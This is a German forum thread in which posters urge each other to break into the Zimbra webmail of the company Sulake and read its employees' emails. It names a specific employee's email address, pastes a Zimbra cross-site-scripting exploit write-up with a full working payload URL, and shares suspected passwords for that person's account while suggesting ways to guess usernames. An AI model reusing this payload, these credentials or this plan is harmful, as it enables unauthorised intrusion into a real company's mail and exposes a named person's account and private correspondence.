[E-Mail] Sulake [E-Mail]

Habe auf Sulakes Seite den E-Mail Dienst Zimbra rausgefunden.
Hier die Seite: Zimbra Collaboration Suite Log In

Vielleicht hat jemand lust die E-Mails von denen zu lesen, wenn der jenige dort eine Lücke findet.

Viel Spaß damit.

Ich denke nicht unbedingt das man zu jeden eine E-Mail schreiben sollte.
Man könnte allerdings einiges erfahren..

Um euch einzuloggen empfehle ich euch olga.sanchez@sulake.com zu verwenden.

Vielleicht könnte euch das helfen:

# Exploit Title: Zimbra Cross Site Scripting
# Date: 12.02.2012
# Author: Sony
# Software Link: http://www.zimbra.com/
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/02/zimbra-cross-site-scripting.html
..................................................................


We have xss in the Zimbra Web Client.


After registration (or login) we can see our xss.


http://www.zimbra.com/products/hosted_demo.php


After registration click on "Standart(HTML)".


zimbra/h/calendar?view=[our xss is here]


http://demo2.zimbra.com/zimbra/h/calendar?view=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E


http://1.bp.blogspot.com/-0ixPLXpVHaA/TzgBXpysYTI/AAAAAAAAAes/JrTtA0AJLsw/s1600/zimm.JPG

Zitat von Carnage

Ich glaube du veräppelst mich.
Mir schenkte mal jemand einen Habbo Account mit der E-mail Adresse,
ich wunderte mich schon weil da ganz schön viel drauf war.
Müsste das Passwort noch irgendwo zu liegen haben.

Ne, ist mein voller Ernst.

Dann viel Spaß beim anmelden, hättest du Lust mich zuschauen zu lassen?
Per Team Viewer?

Edit: Anscheinend ist es ein anderer Username.
Probiert Usernames im Zusammenhang mit Olga Sanchez aus.
Eventuell findet ihr ihn per XSS raus.

Dies könnten die Kennwörter sein:
Das Passwort damals war sander1234, und später Snowl0gy nach der Änderung.
Danke an Carnage für deine Hilfe!